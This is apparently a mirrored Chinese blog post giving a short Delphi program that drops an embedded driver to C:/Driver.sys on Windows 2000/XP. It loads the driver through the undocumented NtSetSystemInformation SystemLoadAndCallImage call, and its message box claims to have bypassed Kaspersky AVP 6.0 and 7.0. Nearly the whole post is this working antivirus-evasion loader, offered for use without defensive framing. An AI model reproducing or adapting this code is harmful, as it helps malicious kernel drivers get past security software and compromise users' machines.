zoukankan      html  css  js  c++  java
  • Delphi加载驱动

     1 program Project2;
     2 
     3 uses
     4 Windows, Native, JwaWinType, Unit_Driver;
     5 
     6 function Is2KXp(): Boolean;
     7 var
     8 OSVer: TOSVersionInfo;
     9 begin
    10 Result := False;
    11 OSVer.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);
    12 if GetVersionEx(OSVer) then
    13 begin
    14     if (OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT) then
    15     begin
    16       if (OSVer.dwMajorVersion = 5) and ((OSVer.dwMinorVersion = 0) or
    17             (OSVer.dwMinorVersion = 1))then
    18       begin
    19         Result := True;
    20       end;
    21     end;
    22 end;
    23 end;
    24 
    25 function DriverSaveFile(lpszName: PChar):Boolean;
    26 var
    27 hFile:THandle;
    28 BytesWrite: dword;
    29 begin
    30 Result := False;
    31 DeleteFile(lpszName);
    32 hFile := CreateFile(lpszName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_NEW, 0, 0);
    33 if hFile = INVALID_HANDLE_VALUE then Exit;
    34 if WriteFile(hFile,DriverBuf,DriverSize, BytesWrite, nil) then Result := True;
    35 CloseHandle(hFile);
    36 end;
    37 
    38 var
    39 StrInit: TString;
    40 GGSImage: SYSTEM_LOAD_AND_CALL_IMAGE;
    41 begin
    42 if (Is2KXp()) then
    43 begin
    44     if DriverSaveFile('C:/Driver.sys') then
    45     begin
    46       RtlInitAnsiString(@StrInit, '/??/C:/Driver.sys');
    47       RtlAnsiStringToUnicodeString(@GGSImage.ModuleName, @StrInit, True);
    48       OutputDebugString('Load Driver: C:/Driver.sys');
    49       NtSetSystemInformation(SystemLoadAndCallImage, @GGSImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE));
    50 
    51       MessageBox(0, 'Bypassed AVP 6.0&7.0.0.125', 'By Anskya', 0);
    52     end;
    53 end;
    54 end.
  • 相关阅读:
    csu 1547(01背包)
    csu 1592(区间DP)
    Funny Car Racing(最短路变形)
    csu 1329 一行盒子(链表操作)
    poj 2828(线段树单点更新)
    软件开发文档模板 (学习)
    C 语言高效编程与代码优化
    【整理】uclibc,eglibc,glibc之间的区别和联系
    查找openssl内存泄漏(代码)
    openssl内存分配,查看内存泄露
  • 原文地址:https://www.cnblogs.com/MaxWoods/p/3399684.html
Copyright © 2011-2022 走看看